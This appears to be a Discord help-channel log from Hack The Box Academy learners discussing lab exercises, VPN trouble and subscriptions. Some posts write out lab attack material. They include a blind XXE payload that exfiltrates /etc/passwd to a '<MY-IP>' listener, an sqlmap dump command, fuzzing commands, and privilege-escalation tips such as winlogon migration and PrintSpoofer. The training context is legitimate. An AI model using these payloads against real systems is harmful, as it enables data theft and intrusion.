#modules

1 messages · Page 294 of 1

hoary gull
#

yess, perfect thank you very much !

#

It's sooo great, I'm amazed of how sysreptors saves us so much time

fathom pendant
hoary gull
#

or maybe I wasn't paying enough attention on the module

fathom pendant
#

I believe they're pinned in the relative cert channels

hoary gull
#

ohhh, that's why

#

thank's !

fathom pendant
#

Sysreptor wasn't available at the start, which is likely why it isn't mentioned

hoary gull
fathom pendant
#

¯_(ツ)_/¯

formal bear
#

Hello I’m a beginner at Hack the box, do I ask my task questions here?

dim wolf
#

which platform are you using, the main one or Academy?

formal bear
#

The free version

dim wolf
#

are you currently doing Starting Point?

formal bear
#

Yes

#

I’m stuck on the last task where it says submit root flag

dim wolf
formal bear
#

I have no access to it

dim wolf
#

read and follow #welcome to access the channel

formal bear
#

thanks

rustic sage
#

hi can anyone here help me out with public exploits in the penetration tester path, its part of the getting started module

#

im not really sure where to go after i found the open and filtered ports, since when i run searchsploit on each of the services running, it vomits out tons of exploits or leads me to irrelevant ones

naive sage
gleaming thistle
#

Hey I am stuck on a problem within the Soc analyst job path in the windows event logs section, im supposed to conduct a similar investigation as in the path however I dont understand what to do at all. Please help

rustic sage
#

i tried searching the number of the ports to find a common exploit somewhere but i couldnt find any

naive sage
rustic sage
#

part of pentesting basics

naive sage
#

wait

#

@rustic sage visit the given IP address, and scan the given address.
Look what services are running.

rustic sage
bright sorrel
#

Can somebody help me out w/ this lab in Shells & Payloads - Reverse Shells? No matter what I do, I can't seem to connect to the target box.
I can't reach the host on either UDP/TCP VPN, nor can I reach it via Pwnbox

Even though the host isn't responding to pings, I tried to RDP and I get a connection failed error each time.

#

Also if there's a tech support-specific channel, please let me know - not trying to clog up #modules if it's unwanted lol

naive sage
compact patrolBOT
bright sorrel
#

I was just about to ask for that

#

Thanks!

wanton idol
bright sorrel
#

I'll give that a shot

wanton idol
#

sometimes using the vpn from your machine and using the pwnbox will not work

ocean night
#

Indeed, if you connect from two places at once, the sessions will "fight" each other, resulting in each other disconnecting and reconnecting over and over again

#

(as only one connection per VPN profile is allowed at any one time)

naive sage
#

So better use VPN or Either Pwnbox!

bright sorrel
#

Disconnected, refreshed both the target system and pwnbox - still running into the same issue
I reached out to support though, thanks guys

digital junco
#

Sorry, I only saw your message now, do you still need help?

grim forum
#

Hi all, I have been going through CPTS and nearing the end but some modules I have so many issues with tools returning false negatives or false positives. I am doing "Attacking Common Applications - Skills Assessment II" and had to look at the solution only to find the gobuster command provided alsogives the wrong results. I am at a bit of a loss as to what to do and there must be others with the same issues. Is there a guide or wiki somewhere with these probably common issues? (I tried switching from udp to tcp with no joy)

#

(Using Kali WSL at the moment, but pwnbox and vms also have the same issue with false negatives)

quasi jungle
#

https://academy.hackthebox.com/module/80/section/848
Tried brute forcing usernames with the xato-10 mil list, tried creating a user and tampering the cookie PHPSESSID but it wasn't encoded it in anything.
Not sure what else to try.

The HTB forum's show something related to the support element of the target but the target doesn't have anything like a support page or any support function. The other website buttons do nothing also except the login and register.

Any suggestions as to what I should try as am stuck on what to do

dapper moth
#

Hey... Can someone just tell me if I'm way off in the Skills Assessment of the Injection Attacks Module?

cloud urchin
quasi jungle
cloud urchin
spark spruce
quasi jungle
spark spruce
quasi jungle
cloud urchin
#

you should use the one in the module

spark spruce
#

Check your response carefully to use -fr flag in ffuf

cloud urchin
#

he's most likely just not attacking the right thing

spark spruce
#

yeah but its so simple
just need to repeat the given payload

dapper moth
#

Can someone give me some help on the Skills Assessment of the Injection Attacks Module?

spark spruce
dapper moth
#

I guess right in the end... Can't seem to get my XPath query right.... Or they always return true or always false

#

I may be making some stupid mistake in enumerating the XML schema

spark spruce
dapper moth
#

Yes

spark spruce
dapper moth
#

That's what I'm trying with little success 😅

spark spruce
dapper moth
#

I got results, but I may be over my head.... Don't know if the information I'm seeking is inside those nodes.

hushed grove
#

I'm starting to feel a little confused as to what I am simply learning, or what I am to currently be putting into effect. I'm going through the Information Security Foundations path as a complete beginner and I'm having a blast. I'm at the Setting Up module, learning about virtualizations and containers. What I'm confused on is if I am expected to currently install the software described, as it seems to suggest, or if I am simply learning about them. Some of the software requires a linux OS, which then makes it seem like I'm to install them on the digital workstation if I am supposed to install these, but it doesn't seem like I can. Could someone give me a bit of guidance?

dapper moth
#

Tried it already.... my iframe is too small to accommodate all the information even with increased size

spark spruce
spark spruce
dapper moth
#

Thanks..... Went in a rabbit whole thinking it might be in a node outside of the ones enumerated in the Web Server file

dapper moth
#

will do

#

Thanks again

spark spruce
dapper moth
#

I kept low due to the visualization breaking when I set to width="1000" height="1000"

next bronze
spark spruce
hushed grove
next bronze
#

pwnbox is provided which is a browser parrot vm, but yes I'd recommend setting up your own

unborn adder
#

hey mods, so I'm experiencing a bug in terms of the number of cubes earned through subscription, but I can't find the support chat on the academy page anymore. So where can I disclose this bug now?

cloud urchin
hushed grove
next bronze
hushed grove
unborn adder
storm elk
#

If you do not see a green box, disable any adblockers

compact patrolBOT
unborn adder
storm elk
worn matrix
#

because i am close to breaking my computer,can anyone help me with this problem ```└──╼ $eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness

################################################################################

EyeWitness

################################################################################

Red Siege Information Security - https://www.redsiege.com

################################################################################

Directory Exists! Do you want to overwrite? [y/n] y
Starting Web Requests (8 Hosts)
Message: Expected browser binary location, but unable to find binary in default location, no 'moz:firefoxOptions.binary' capability provided, and no binary flag set on the command line

#

does it accept any argument for binary path?

olive slate
#

Hi guys. I just notice that if i have a meterpreter session and if I have SeDebugPrivilege on the user I can migrate to a winlogon process and get SYSTEM just like that. It's not covered in the modules as far as I know but is this a common way to abuse SeDebugPrivilege?

autumn pilot
wraith pelican
# worn matrix does it accept any argument for binary path?

i see an old github issue with the same error. it was about the docker version, but they say to use --headless flag
otherwise, it seems to be an issue with the selenium library, if firefox isnt installed or not in the default location

worn matrix
#

i dont even know what --headless does,and it also says it doesnt recognize it

wraith pelican
#

headless is a web browser without gui

worn matrix
#

haahahah didnt even know that ;p

#

so i cant do my module now,cool

olive slate
dim wolf
wraith pelican
# worn matrix so i cant do my module now,cool

ow... what os are you running on and do you have firefox installed in a custom location?
I see in eyewitness help that you can specify a log path for selenium:
--selenium-log-path SELENIUM_LOG_PATH Selenium geckodriver log path
it might be useful to check those logs and see where it is trying to fetch your firefox from.
it might be something simpler, i don't know, i'm just trying to figure out

worn matrix
#

Parrot Os

#

i skipped it for now,cus i got mad ;p

wraith pelican
worn matrix
normal sand
#

Module: Web Proxies
Section: Skills Assessment - Using Web Proxies
Link: https://academy.hackthebox.com/module/110/section/1055

Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)

I am attempting to solve this using ZAP since Burp has throttled the request rate in the Community version. I know which encoders I have to use, however, the one of the encoders (|| ASCII Hex ||) is not an option within ZAP's fuzzer's processor. I tried looking for extensions to resolve this in the marketplace but didn't see anything. Is my only option to find a script that encodes or to write one myself? I'm kinda surprised ZAP has the encoder if you right click the cookie and try to encode/decode but doesn't have it under processors.

storm elk
normal sand
normal sand
#

Ended up using Burp kekhands

#

But if anyone knows a way to do it with ZAP, please lmk.

storm elk
#

Only time I used ZAP was in the module :d

next bronze
#

same

#

I can't get behind zap's ui and workflow

normal sand
#

I get for fuzzing you can probably use ffuf or gobuster or smtg else.

next bronze
#

I have burp pro and its active scanner is very good

#

never used zap's scanner tbh

eager ledge
#

I used ZAP for its spider module

normal sand
wraith pelican
eager ledge
#

We need paid Burp version for that 😦

next bronze
#

unfortunately yes

wraith pelican
#

there is a burp plugin Turbo intruder which is free but less intuitive

rose compass
#

Can someone help me with the sqlmap module flag 5?
It always returns empty flag or wrong flag.
Maybe the network lag of the VPN might be affecting the decoding.
I think HTB should set shorter flags for SQLi.
sqlmap -u "http://94.237.59.193:36836/case5.php?id=1" --risk=3 --level=5 -T flag5 --no-cast --batch --dump --time-sec=10 --flush-session

nova ginkgo
#

Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain.

I have a question what can I do now

dig hostname
is that true ?

lunar trout
#

👋 Hi everyone!
In the Command Injections - Advanced Command Obfuscation module (https://academy.hackthebox.com/module/109/section/1039) there is a tip: If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.
My questions are: How can one reverse a single character? And, wouldn't including them when reversing the original command still means that you include a filtered character (thus not having it accepted)?

acoustic owl
tacit wagon
#

how do u talk in general

storm elk
simple loom
#

Hi everyone! I am doing the Attacking Common Applications module --> osTicket. I successfully completed the exercise, but the credentials that I used were gathered using dehashed (which a paid account is needed for retrieving said credentials). Is there any other way to complete the section without using the provided credentials and gathering them by yourself? Ty in advanced! ❤️

ivory cloud
#

Hello everyone! I'm studying the Crest CPSA/CRT track and wondered if there's any study groups available. Why isn't there a dedicated channel for CREST exams like there is for CPTS CBBH etc.... ? Maybe admins would like to answer.

next bronze
#

because crest exams are from a different platform

ivory cloud
next bronze
#

the service does not include discord channels nor does it mention that it will, you get studying materials and exercises for your money. not to mention htb has their own certs

ivory cloud
#

Fair point, I'm just a little frustrated there isn't a dedicated space where those studying the material can exchange thoughts and ideas.

next bronze
#

this channel is for all academy modules, including the modules in the crest paths, so feel free to ask or discuss here

eager ledge
#

When performing NTLM relay attack as described in this section https://academy.hackthebox.com/module/116/section/1167, where does impacket-ntlmrelayx.py get the hash? I mean the hash is captured separately using either Responder or impacket-smbserver. In the impacket-ntlmrelayx.py command, we just pass the target, but not the hash. So, how does it know which hash to relay?

next bronze
#

they should explain this concept better, 3rd time I'm seeing questions about this specific part this week kekw

next bronze
eager ledge
#

Thanks for the explanation.

next bronze
#

it doesn't know what to relay so it will just relay whatever it receives

#

you can specify it in the command but that's out of scope for this

eager ledge
#

This means if I don't need to poison, then I can omit starting responder and simply just use impacket-ntlmrelayx.py, right?

next bronze
#

if you don't posion you would need to find another way to get targets to send a ntlm authentication to you

eager ledge
jolly raptor
#

does anyone have the cheat sheet for the /bin

jolly raptor
#

i meant gtfobins

frosty geyser
#

Hay

next bronze
storm elk
eager ledge
next bronze
#

because it's a ntlmv2, you can't pass it

slender osprey
#

Hello Everyone,
I am facing HTB Academy modules mechains "Target is spawning...." Can't show IP in mechains .
what should I do plz guide me ?

storm elk
jolly raptor
#

i’m trying to run the enlightenment exploit to get root privileges, how do i actually run it? do i need to install the exploit on the target machine?

rustic sage
rustic sage
jolly raptor
#

how would i transfer it? install on my host machine then use netcat?

next bronze
slender osprey
rustic sage
jolly raptor
#

okay cool

#

i’ll give that a go

slender osprey
iron ibex
#

(Linux command)

slender osprey
rustic sage
eager ledge
next bronze
#

correct, or crack it

slender osprey
next bronze
rustic sage
#

The NC thing is not related to the thing @slender osprey is doing

eager ledge
#

Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: AD Enumeration & Attacks - Skills Assessment Part II

I have managed to get configuration file containing an MSSQL connection string. I captured the hash for the service, but relaying it fails. I do not know what to do next 🤐

next bronze
#

wait which question?

eager ledge
#

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

#

The service account doesn't have admin privileges

#

So, executing command from SQL session doesn't allow me to view the file inside the user directory of Administrator

next bronze
#

check for other privileges

eager ledge
#

I can see two new prvileges:
SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

next bronze
#

yep one of them would do it

split glade
next bronze
#

oh right

eager ledge
next bronze
#

yeah just try that

eager ledge
#

😭

spare fossil
#

module File Inclusion/File inclusion Prevention/ ............ any hint for the first question? I have tried everything from the previous section kek

spare fossil
next bronze
#

you just need to match the version

spare fossil
#

embarrassing 🥲 , stupid question here: am i not to find the file inclusion vulnerability first?

next bronze
#

I don't think so? the section is about prevention

spare fossil
#

the ip page is just showing, apache2 default page, that's normal right? or did something break

spare fossil
next bronze
#

I believe you can just place the file in the web dir, since you have ssh access

jolly raptor
#

can someone help me on how to save a file on the target machine using net at

spare fossil
#

my bad, those ssh , i thought that was for the pwndbox or something. sadglas I didnt even read !!!

jolly raptor
#

netcat

#

im trying to transfer a file over to the target machine and save it but my netcat command just runs it

next bronze
jolly raptor
#

i can’t use scp either as i’ve got no permission

jolly raptor
#

managed to figure it out using a http server

hasty solar
#

Pls don't spam

#

You have already sent that to another channel

flint ore
#

I'm stuck on Dynamic Analysis in module Windows Evasion Techniques, can someone help me?
I'm repeat all steps from academy, but not working

granite osprey
#

Hello, can someone help me with module ' attacking web apps -> attacking splunk ' please ?
I have downloaded the malicious package from git, modified the IP and port number in run.ps1, and uploaded the app to the application manager. While doing this I have opened a netcat listener on the given port, but nothing happens.

eager ledge
flint ore
next bronze
eager ledge
#

It worked with PrintSpoofer!

#

I don't exactly know the details yet. I will look into it when I am on Privilege escalation module

slender osprey
dapper moth
#

Still hung up on the Injection Attacks Skills Assessment.... Can someone help me to whether I'm off and steering even further away 😅 or if I'm on the right track?

bright coral
rare swan
#

does this mean ms01 is @172.16.7.3 ?

#

just found out it isnt --> what does this mean

uncut ocean
#

Hello i have a small doubt in PASSWORD ATTACKS Specific (Credential Hunting in Linux) here in the question i have to find will pass and i get the .backup folder here shadow.bak and password.bak is available but i dont have permissions any hint how can i extract pass?

rare swan
#

@uncut ocean you have to look elsewhere i guess...

uncut ocean
rare swan
#

wrong approach i guess...

uncut ocean
#

any hints 😵‍💫 i already spend tool much time in it

wraith pelican
uncut ocean
rare swan
#

as i said...guessing this is the wrong approach...didnt solve it that way...

#

try other things...

uncut ocean
#

like ????

rare swan
#

try...

uncut ocean
rare swan
#

so try another tool...almost there...

rare swan
#

@uncut ocean try looking for headings ending with ....credentials in the module--> there should be the answer i guess

bright coral
rare swan
#

so it has nothing to do with ms01?

bright coral
#

No

rare swan
#

thx gpt...

#

`└──╼ $nslookup ms01 172.16.7.3
Server: 172.16.7.3
Address: 172.16.7.3#53

** server can't find ms01: SERVFAIL`

#

guess it was outputting it wrong...

#

actually this would have helped me...

rough flame
#

Have u managed to solve it? Can I DM u?

bright coral
#

It’s not a requirement, you can install a DC without it having the DNS role.
In the labs here there should be DNS on the DC though

rare swan
#

@next bronze good hint.. works

zealous rune
#

Hi. I'm on the labs for the Attacking Common Services module. I enabled the walkthroughs after having done the easy and medium labs to compare my solutions. The medium solution doesn't seem to correspond to the challenge for the medium lab. It has extra steps that I did not need to do.

#

In fact it felt a bit like the medium lab was the easy lab and the easy lab was the medium lab!

flat bone
#

Hi, I couldn't find an obvious answer after performing a search so I'm asking here. I get the following error when trying to connect to the HTB VPN: sitnl_send: rtnl: generic error (-101): Network is unreachable
I'm using sudo openvpn file.ovpn and I've already tried different VPN locations and both UDP & TCP. Any thought on what might be going wrong?

zealous rune
#

that error looks like you are having network issues

#

what does "ip a" show

#

are you sure you are connected to the internet- guessing so since you on discord

flat bone
#

😄

zealous rune
#

🙂

#

just checking

flat bone
#

yes i'm connected and don't have issue with other services that I can see

zealous rune
#

does it try and setup the tun/tap interfaces?

next bronze
flat bone
#

(also the one that's in my ovpn file)

zealous rune
#

but it looks like its only the ipv6

#

that it's complaining about

#

whats the output of route -n

#

or netstat -rn

#

and ip a

#

but it exits

#

so obv not working

flat bone
#

is it ok to dump the output of those commands here? not sure about this discord's etiquette 🙂

next bronze
#

reboot, reinstall openvpn, download a new vpn file. if all doesn't work then best to contact support

zealous rune
#

can't setup the tun/tap interface

#

looks like

zealous rune
flat bone
#

thank you for looking into it

dapper moth
#

Can someone just tell me if I'm supposed to brute-force all the Ids in the Injection Attacks Skills Assessment!? FeelsBadMan

storm elk
#

aparently you already did but didnt get a notification yet haha

vernal pebble
#

I have a problem with the lab at the end of the Web Attacks - Blind data exfiltration. I created the xxe.dtd file as instructed by the course, I send the request to the good URL containing the body that they instructed me to write inside, i opened the php server, and i get the response back from the app, but no data is returned. Can anyone help me?

xxe.dtd (local .dtd):

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<MY-IP>:8000/?content=%file;'>">

Request sent to the web server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://<MY-IP>:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Response i get from the web server opened locally on port 8000:

10.129.231.75 - - [25/Jul/2024 11:28:23] "GET /xxe.dtd HTTP/1.0" 200 -
flat bone
split glade
vernal pebble
#

If i did know that, i would have done it 🙂

split glade
#

You can also edit your posted messages

vernal pebble
#

The 2nd time I ask something here and I can say that stackoverflow community is nicer compare to this :)))

cedar marsh
#

I am stuck in Skill Assessment of Information Gathering: Web Edition updated one. I am trying to fuzz the vhosts of provided domain, but using ffuf I am getting every subdomain as status 200 from wordlist. I am using /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt this wordlist, tried with other same thing. I don't know why all subdomains are giving status 200 with ffuf,

sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://ip:port -H "Host: FUZZ.inlanefreight.htb" -fs 120

this is the ffuf command I am using.

vernal pebble
split glade
vernal pebble
split glade
#

No problem

vernal pebble
# split glade No it was so I could read it more easily, your code seems correct 1. did you try...

I tried to query the file directly

!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/327a6c4304ad5938eaf0efb6cc3e53dc.php">

And with the php server opened as you mentioned, and i get this

[Thu Jul 25 11:23:46 2024] 10.129.231.75:37150 Accepted
[Thu Jul 25 11:23:46 2024] 10.129.231.75:37150 [200]: GET /xxe.dtd
[Thu Jul 25 11:23:46 2024] 10.129.231.75:37150 Closing

But nothing returned..

#

I also tried to not use the .php file to decode the content and just receive the content base64 encoded, and still nothing

#

It suddenly started to work...

split glade
vernal pebble
#

Man, these labs are very bad...

#

The information is very good, but the machines that I have to exploit alwasy has problems, and I spend 2-4 hours to troubleshoot...

#

Is there any link where we can send feedback?

storm elk
#

You can use /feedback

vernal pebble
#

Here or is a special channel?

storm elk
#

Here

split glade
vernal pebble
#

I am doing the paths on a business account. I think these accounts have priority or something, idk.

#

But is a general problem with the machines and labs. I rode this on multiple forums, including the threads opened on the HTB forum...

sterile furnace
#

when going through the pentesting modules did you guys use pwnbox or your own vm? I perfer my own but its so clunky

vernal pebble
next bronze
#

why would your own vm be clunky

sterile furnace
#

I dont have the best PC , I dedicated the right amount of ram to the VM its just super slow

#

and CPU's

next bronze
#

kali will run fine on 4 vcores and 4 gigs of ram

sterile furnace
#

I did that and theres delayed typing, takes forever to pull up firefox and other apps etc

#

no background processes runinng either

wraith pelican
sterile furnace
#

sweet thank you

wraith pelican
next bronze
wraith pelican
# next bronze that's an intel only thing I think

ah yeah you're right i just checked the vmware doc. Does the keyboard delay issue happen on amd as well? it doesn't seem to be a widespread problem though, doesn't happen with a windows vm for instance.

granite osprey
#

Please can someone help me with "Attacking common applications -> Attacking Splunk" ? I think that I've followed the instructions, but I don't get the reverse shell.

solid quarry
next bronze
#

there was some problems with vmware on the big little architecture but it's mostly fine now

normal sand
#

I'm on the Attacking Web Applications with Ffuf module and just passed the vhost fuzzing section. And it brought up a question in my mind, is there a way to discover a sub-domain that's not public and associated with a different IP address from the one we know?

For example: Let's say we're given the domain example.com and it's IP address is 192.168.0.10. If there was a sub-domain private.example.com that wasn't listed in any public DNS-record and associated with a different IP address, would it be possible to find it? If so, how?

wicked gazelle
#

Is there a best channel to request OpenVPN assistance? I'm having trouble connecting to HTB

wraith pelican
granite osprey
#

Can I talk to you directly, I've been waiting 3hours for a reply, like a bottle in the sea 🙂

next bronze
#

if there's no dns records anywhere would anyone know that's where that subdomain would point to in the first place

wraith pelican
# granite osprey Can I talk to you directly, I've been waiting 3hours for a reply, like a bottle ...

i don't know if i can't help much more than the details on the course material. I checked my notes and there is nothing much than the course process, so i guess if you follow the course you'll get a shell back. Maybe you miss one step somewhere?
all i got more than the course is this and it will not help here:

Note: restart the splunk service on unix type machines for this to work. No restarts are needed on windows machine.```
normal sand
normal sand
granite osprey
next bronze
wraith pelican
cedar marsh
granite osprey
next bronze
#

follow the section to the T and you'll get it

#

I don't remember much but that's what I did for that part

next bronze
cedar marsh
#

that's why I am stuck I can't find any valid subdomains

next bronze
#

wait for it to finish

wraith pelican
cedar marsh
next bronze
#

are you fuzzing using the domain name instead of ip and port?

wraith pelican
# granite osprey Absolutely

like said before, it should work if you follow the course. Or there is another issue we arent able to see from here.
I can't spin up a target right now to test it but i might give it a go later.
maybe useless but i would try to refresh the vpn, respawn a target and start from scratch.

granite osprey
normal sand
cedar marsh
#

so it is becoming more confusing for me now

next bronze
#

it works fine for me shruge

#

reset it

cedar marsh
#

well after resetting curl works fine but even now I can't fuzz properly

#

still getting all host with status 200 with response size 120

next bronze
#

just tried it and it worked for me

flat bone
#

Isn't the answer to this: How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)
ss -lH | wc -l? Or am I misreading the question?

#

ok i misunderstood "not on localhost and IPv4 only"; English issue I guess 😄

#

i understood it as !(localhost & ipv4 only) whereas it was meant as !ipv6 !localhost

cedar marsh
cedar marsh
next bronze
#

yep

sturdy citrus
wraith pelican
normal sand
rustic sage
#

can someone help me in the wordpress hacking module section Directory Indexing. i have tried looking to wp-includes and wp-content but cant find the flag.txt anywhere. have also tried using ffuf even though it says do it manualy bc just cant find anything

granite osprey
#

How did you do it

umbral merlin
#

bruh i have student sub and i went for plat monthly and i just got it to unlock 2 modules but now i have to re get student sub and pay money again for it to access the rest of the cpts modules i wanted ;-;

wraith pelican
granite osprey
wraith pelican
#

ok i can try

granite osprey
#

privately ?

wraith pelican
#

ok go DM

split glade
#

Module: Windows Privilege Escalation
Chapter: Interacting with Users
For the exercise, I need(ed) to see that our user has write privileges over a specific subfolder, but
smbmap -u htb-student -p '[...]' -H $TARGET -r 'Department Shares' --depth 10 doesn't list the write access of the subfolder

Question: how can I reliably recursively list the rights of files in a share from linux?

sturdy citrus
split glade
#

Yes that what I did but for some reason the subfolder rights are listed as readonly, while here one of the folder also has write right. Maybe it's due to the smb connection or the version of smbmap, idk
Spoiler: the subfolder with wright right is ||IT|| but it's displayed like the other subfolders

normal sand
gleaming thistle
#

Hey I have a question regarding the Soc analyst path I am on a module where we are reading windows event and sysmon. and it is asking me to do this - "By following the required steps, which involve renaming reflective_dll.x64.dll to WININET.dll, moving calc.exe from C:\Windows\System32 along with WININET.dll to a writable directory (such as the Desktop folder), and executing calc.exe, we achieve success. Instead of the Calculator application, a MessageBox is displayed" I already moved calc.exe to desktop, however I do not have the file reflective_dll.x64 in my pwnbox when I rdp into the target IP. The only thing that there is a github link to a repository that has that file name but I have no internet access when I rdp into the target ID so i have no idea how I am supposed to get this file.

#

I ran the command dir /s filename.dll and it is not in the vm and I was in the admin directory when I searched

#

Please help Idk what I am supposed to do im ngl

rustic sage
#

can someone help me in the wordpress hacking module section Directory Indexing. i have tried looking to wp-includes and wp-content but cant find the flag.txt anywhere. have also tried using ffuf even though it says do it manualy bc just cant find anything

buoyant void
#

I have to admit this one took me a while. Now I realize I need to go study assembly language, shellcode and C in a lot more detail if I want to be even half decent

cedar marsh
split glade
storm elk
rustic sage
#

thc u

vague dust
#

@gleaming thistle what error did you receive when you inputted dir /s filename.dll

gleaming thistle
#

File not found, I used ChatGPT and realized it was because I was in the wrong directory. I was under the impression that the higher you are in the directory list the further you can search so I was in the admin directory doing /s to find the file but I should have been in tools directory and used /s there to find the file

vague dust
#

Ahhh ok I see what happened. Yeah if you want to execute most of the programs you have to be in the corresponding directories. Especially when you start getting into psget or SilkETW

vague dust
#

Yup that too! Windows is fun like that -_-

umbral merlin
fathom pendant
umbral merlin
#

they were the t3 AD modules

fathom pendant
#

Those are unnecessary for cpts

umbral merlin
#

i unlocked them, then found out i have to re subscribe back to my student & pay more

#

yea additional learning

fathom pendant
#

Well yeah, you can't have 2 active subs

umbral merlin
#

yea found that out

fathom pendant
#

That's kinda common sense

umbral merlin
#

idk yea if you think about it like that

fathom pendant
#

It should also have given you the "upgrade/downgrade to" message

vague dust
umbral merlin
#

yea i thought i could get those cubes man and pay that amount for that sub and i would still have my student sub cuz the month didnt end and i have my student email in my ac count

fathom pendant
#

Also prob smarter to do the extra stuff at the end of the path

umbral merlin
#

cool 👍

fathom pendant
#

I.e. if you subbed on the 15th, it rolls over every 15th

umbral merlin
#

yep and its recurring so i would be constantly in my monthly sub i didnt think it would just cut it off right there as soon as i upgraded & now i have to pay more for the rest of the month that i had remaining

gleaming thistle
fathom pendant
umbral merlin
#

yes a month subscription is immediate so i wanted to upgrade immediately for plat monthly and get the cubes, and I hoped i would still have my student sub for the remainder of the month and it wouldnt cut it off since i already paid for the month

vague dust
umbral merlin
#

nevermind though

gleaming thistle
#

Thank you! I mean its just getting stumped over and over again each question takes me forever to try and figure out lol

vague dust
#

I get it lol. There is no rushing on these modules. I ran into my fair share of bumps for this module and I'm sure there will be plenty more lol

wraith pelican
fathom pendant
#

Or both

fathom pendant
gleaming thistle
#

Its just a little hard to follow what they want me to do, which I fully understand it is so that I can actually learn. Its just a little difficult to follow

fathom pendant
#

ChatGPT can often be wrong when trying to figure certain things out

#

It's not a search engine, it's an LLM and guesses what to say next

gleaming thistle
#

I dont use chatgpt to anwser the question for me I use it when for example I would say "Hey what is the command to look do whatever"

#

To do whatever*

fathom pendant
#

Yeah even commands can be hit/or miss

gleaming thistle
#

But no i fully understand

fathom pendant
#

And it can even overcomplicate it

gleaming thistle
#

Speaking of helping though, Im stuck again

fathom pendant
#

Tip when you're stuck. Walk back through slowly

#

Don't just rush for help whenever you hit a bump

wraith pelican
#

you should just maybe just learn to prompt gpt better. There are techniques to get better results, it is not just about throwing question at it.

fathom pendant
#

If you're meant to get a reverse shell, for instance, did you skip over where it said to set up your listener

quasi wave
#

I'm having trouble with living off the land section of file transfers because I get access to target windows box but then I can't use certutil just because it won't accept -Post parameter. I can't download latest version of cert util onto windows box because no internet for the Windows target.

#

Is this on purpose and what do you propose I do?

fathom pendant
#

You don't need the latest version

quasi wave
#

well, but the -Post parameter won't work

fathom pendant
#

But also I don't recall being able to -Post with certutil

gleaming thistle
#

Guys the issue isnt if im using GPT or if im taking notes or if im rushing. The issue is that it is hard to follow. for example right now it saying to do this "To showcase unmanaged PowerShell injection, we can inject an unmanaged PowerShell-like DLL into a random process, such as spoolsv.exe. We can do that by utilizing the PSInject project in the following manner." and then it shows me some code. The code isnt ran on powershell or cmd, and I know the purpose is to make spoolsvc from a unmanaged state to a manages state in hack processor.

#

Im not asking for help though*

quasi wave
#

Here's what the section says to do with certreq:

Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)```
quasi wave
#

sorry I meant certreq not certutil

vague dust
#

O.o

fathom pendant
#

That's not "not accepting post"

#

Wrong IP btw

quasi wave
#

ok I know when I it I use right IP

#

I just copied the section

quasi wave
vague dust
wraith pelican
vague dust
#

I had to go through it a few times one step at a time to see what it was doing and how it affected it

quasi wave
#

can someone help me with this section? I'm not getting something about the section because its telling me to use certreq but only certreq command on entire page results in an error

spare fossil
#

File Inclusion - skill assessment, i got to read the /etc/passwd, i'm struggling at the RCE part ... any hint ? peepo_yikes

fathom pendant
#

Do you need RCE?

quasi wave
#

I tried changing syntax and got this:

C:\Users\htb-student>certreq.exe -Submit -config http://10.129.170.187:8000/ c:\windows\win.ini
Certificate Request Processor: ASN1 bad tag value met. 0x8009310b (ASN: 267 CRYPT_E_ASN1_BADTAG)```
#

can someone help me fix this?

wraith pelican
quasi wave
#

that's the first thing I tried

wraith pelican
fathom pendant
vague dust
fathom pendant
wraith pelican
#

not for me

quasi wave
fathom pendant
quasi wave
#

ok I'll just skip it ya thanks

fathom pendant
#

Tbh

quasi wave
#

ok thank you I'll just do that

#

I get the general idea anyways

wraith pelican
#

that s bad advice

quasi wave
#

its not bad advice because I get how to do it anyways

#

and if not I'll be doing it again later in CPTS course as part of more advanced modules. but I get the idea.

fathom pendant
#

you don't need to know every method ¯_(ツ)_/¯

spare fossil
fathom pendant
spare fossil
fathom pendant
spare fossil
vague dust
#

A lot of the pentesting / bug bounty modules are pretty straightforward....but then again I over complicate things

flint ore
#

Hi, everyone!
Someone solved dynamic analysis in evasion techniques module?

tacit wagon
#

what up gangstas

obtuse horizon
#

Hello guys, hope you are doing well!

I am spending my second day searching for an answer for this task, I would highly appreciate your assistance on that.

**WINDOWS EVENT LOGS & FINDING EVIL - Skills Assessment - Task 1 **

By examining the logs located in the "C:\Logs\DLLHijack" directory, determine the process responsible for executing a DLL hijacking attack. Enter the process name as your answer. Answer format: _.exe

  1. I configure the sysmonconfig-export.xml (to catch Event Id 7 logs)
  2. I wrote an XML script which shows me Event ID 7 logs with Signature: False

There are only 14 logs all with mmc.exe, which is not the real answer. How can I solve this?

Thank you in advance!

sharp pike
#

is there another workaround for rdp timeouts? I'm using timeout/80000 & I still get [13:55:10:400] [42933:42935] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]

fathom pendant
#

But also try resetting your vm

#

Could be some cache thing being dumb, also try resetting target, changing vpn regions

sharp pike
#

looks like my meterpreter died, working on that rn

tranquil crystal
#

https://academy.hackthebox.com/module/77/section/843 I'm doing this task:

I got as far as this, using msfconsole plugin for wp backup. My question is, it defaults to downloading /etc/passwd, which is for logging into the system via ssh I guess. reading shadow/passwd and unshadow and crack it, or use crackstation?

OR...

Somehow I'm supposed to download a wp backup and get the wp db, and get the admin password so I can login and get the flag?

I'm confused as to what I'm supposed to do here.

#

